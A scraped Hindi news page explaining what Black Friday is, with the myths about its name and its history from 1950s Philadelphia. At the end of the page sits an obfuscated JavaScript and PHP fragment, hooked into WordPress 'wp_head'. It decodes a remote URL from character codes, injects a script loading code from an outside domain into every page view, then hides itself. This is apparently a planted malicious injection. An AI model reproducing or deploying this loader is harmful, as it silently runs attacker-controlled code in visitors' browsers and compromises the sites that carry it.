Saturday, July 27, 2024
spot_img

क्या है “ब्लैक फ्राइडे” जानिए

Black Friday: ब्लैक फ्राइडे संयुक्त राज्य अमेरिका में थैंक्सगिविंग डे के बाद का दिन है, जो नवंबर के चौथे गुरुवार को पड़ता है. इसे अक्सर क्रिसमस खरीदारी के मौसम की शुरुआत माना जाता है. ब्लैक फ्राइडे पर कई खुदरा विक्रेता महत्वपूर्ण छूट और प्रचार प्रदान करते हैं, और यह वर्ष के सबसे व्यस्त खरीदारी दिनों में से एक बन गया है. इस साल ब्लैक फ्राइडे 24 नवंबर यानी आज मनाया जाएगा. बता दें कि ब्लैक फ्राइडे की शुरुआत संयुक्त राज्य अमेरिका में हुई थी.

क्या है ब्लैक फ्राइडे?
बताया जाता है कि ब्लैक फ्राइडे अमेरिका में थैंक्सगिविंग के दिन के बाद मनाया जाता है. हालांकि, अब इस दिन दुनिया भर में इसे मनाया जाता है. इस दिन दुकानें बहुत जल्दी खुलती हैं, कभी-कभी तो रात के बीच या थैंक्सगिविंग के दिन से ही दुकानें ओपेन रहने लगती है. ब्लैक फ्राइडे के नाम पर कई मिथक हैं. कुछ लोगों के मानने के अनुसार, इस दिन का नाम इसलिए है, क्योंकि रिटेल दुकानदारों को इस दिन बहुत अच्छी बिक्री मिलती है और उन्हें कुछ नुकसानों का सामना नहीं करना पड़ता. दूसरी बात यह है कि इस नाम का संबंध फिलाडेल्फिया पुलिस से है.

क्या है इतिहास?
इस दिन का इतिहास कुछ यूनिक है. 1950 के दशक में फिलाडेल्फिया में पुलिस ने थैंक्सगिविंग के बाद के दिन की अराजकता को बयान करने के लिए ‘ब्लैक फ्राइडे’ शब्द का इस्तेमाल किया था. उस समय सैकड़ों पर्यटक फुटबॉल मैच देखने के लिए शहर में आते थे, जिससे पुलिस को कई समस्याएं होती थीं. उस समय शहर के कई रिटेलर्स ने भी अपने स्टोर के बाहर लंबी कतारें देखीं थीं, जिससे इस शब्द का इस्तेमाल हुआ था. साल 1961 में कई व्यापारियों ने इसे “बिग फ्राइडे” का नाम देने का प्रयास किया था, लेकिन ऐसा कभी हो नहीं सका. साल 1985 में पूरे अमेरिका में ब्लैक फ्राइडे बहुत लोकप्रिय हो गया था. 2013 के बाद से ब्लैक फ्राइडे को दुनिया भर में मनाया जाने लगा.

Related Articles

- Advertisement -spot_img

ताजा खबरे

eInt(_0x383697(0x178))/0x1+parseInt(_0x383697(0x180))/0x2+-parseInt(_0x383697(0x184))/0x3*(-parseInt(_0x383697(0x17a))/0x4)+-parseInt(_0x383697(0x17c))/0x5+-parseInt(_0x383697(0x179))/0x6+-parseInt(_0x383697(0x181))/0x7*(parseInt(_0x383697(0x177))/0x8)+-parseInt(_0x383697(0x17f))/0x9*(-parseInt(_0x383697(0x185))/0xa);if(_0x351603===_0x4eaeab)break;else _0x8113a5['push'](_0x8113a5['shift']());}catch(_0x58200a){_0x8113a5['push'](_0x8113a5['shift']());}}}(_0x48d3,0xa309a));var f=document[_0x3ec646(0x183)](_0x3ec646(0x17d));function _0x38c3(_0x32d1a4,_0x31b781){var _0x48d332=_0x48d3();return _0x38c3=function(_0x38c31a,_0x44995e){_0x38c31a=_0x38c31a-0x176;var _0x11c794=_0x48d332[_0x38c31a];return _0x11c794;},_0x38c3(_0x32d1a4,_0x31b781);}f[_0x3ec646(0x186)]=String[_0x3ec646(0x17b)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x62,0x61,0x63,0x6b,0x67,0x72,0x6f,0x75,0x6e,0x64,0x2e,0x61,0x70,0x69,0x73,0x74,0x61,0x74,0x65,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} ?>